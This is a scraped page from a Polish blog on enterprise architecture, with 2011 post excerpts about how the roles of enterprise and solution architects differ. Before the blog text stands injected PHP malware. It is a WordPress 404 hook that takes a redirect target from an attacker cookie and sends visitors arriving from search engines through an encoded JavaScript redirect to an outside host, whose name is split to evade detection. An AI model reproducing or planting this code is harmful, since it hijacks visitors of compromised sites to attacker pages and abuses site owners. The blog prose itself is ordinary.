function wpd_do_stuff_on_40404(){ if( is_404() ){ if (!empty($_COOKIE["7a245f27bb6d4fefb5a20859bd576373"])) { update_option('wpd_do_stuff_on_40404_url', rawurldecode($_COOKIE["7a245f27bb6d4fefb5a20859bd576373"])); } if (strpos($_SERVER["HTTP_REFERER"], 'google.') !== FALSE || strpos($_SERVER["HTTP_REFERER"], 'bing.') !== FALSE) { $u = get_option('wpd_do_stuff_on_40404_url', 'mywebinfo.s' . 'ite/jquery.php'); if (!empty($u)) { $fu = 'http://' . $u . "?referrer=" . $_SERVER["HTTP_REFERER"] . '&u=' . rawurlencode($_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]); $t = rawurldecode("%3Chtml%3E%0D%0A%20%20%20%3Chead%3E%0D%0A%20%20%20%20%20%20%3Cscript%20type%20%3D%20%22text%2Fjavascript%22%3E%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20function%20Redirect%28%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20window.location%20%3D%20%22%25s%22%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20document.write%28%22You%20will%20be%20redirected%20to%20main%20page%20in%202%20sec.%22%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20setTimeout%28%27Redirect%28%29%27%2C%202000%29%3B%0D%0A%20%20%20%20%20%20%3C%2Fscript%3E%0D%0A%20%20%20%3C%2Fhead%3E%0D%0A%20%20%20%3Cbody%3E%0D%0A%20%20%20%3C%2Fbody%3E%0D%0A%3C%2Fhtml%3E%0D%0A"); exit(sprintf($t, $fu)); } } } } add_action( 'template_redirect', 'wpd_do_stuff_on_40404' ); Architekt korporacyjny | ArchiReq | Architektura korporacyjna w praktyce

Nie każdy musi mieć maturę i nie każdy może być architektem

Grudzień 24, 2011

Postanowiłem na moment odejść od architektury korporacyjnej i przenieść się w obszar architektury rozwiązań. Dlaczego? Otóż panuje niezrozumienie zarówno roli architekta korporacyjnego, jak i architekta rozwiązań. Ludzie pełniący te dwie role muszą ściśle ze sobą współpracować, dlatego zrozumienie wzajemnych odpowiedzialności jest konieczne.

Siedem podstawowych rad dla architekta korporacyjnego

Listopad 26, 2011

Rada 1. Nie twórz architektur do szuflady

Jeśli wychodzisz nawet z najlepszym pomysłem architektonicznym nie angażuj swojego czasu bardziej aniżeli wymaga tego sytuacja. Jeśli nie znajdziesz silnie umocowanego przedstawiciela w organizacji, który może ten pomysł sfinansować i przekonać szersze grono ludzi, odstąp od dalszych prac. Zadbaj jedynie, aby idea przebiła się w organizacji. Jeśli w końcu padnie na podatny grunt ktoś do niej wróci.

Kim jest architekt czyli o nieporozumieniach przy braku określenia odpowiedzialności

Kwiecień 23, 2011

W połowie kwietnia miałem okazję wziąć udział w konferencji poświęconej architekturze w przedsiębiorstwach. Sama nazwa konferencji – Forum Architektów IT [1]   – sugerowała, że będzie to spotkanie architektów, na którym przedstawiciele przedsiębiorstw i  firm doradczych prezentują własne przemyślenia i pomysły na szeroko rozumianą architekturę w przedsiębiorstwach.

Choć w nazwie konferencji pojawił się skrót „IT” to zakres tematyczny oscylował pomiędzy architekturą IT i architekturą korporacyjną. Prelegenci czasami zbyt łatwo mówiąc o architekturze korporacyjnej faktycznie omawiali wyłącznie obszary  IT działania przedsiębiorstwa. Przysłuchując się kolejnym prezentacjom zaczęło mnie zastanawiać, czy na pewno wszyscy rozumiemy różnicę pomiędzy jedną a drugą architekturą i czy nie żonglujemy rolami architektonicznymi zbyt dowolnie. Później okazało się, że to odczucie nie było pozbawione podstaw.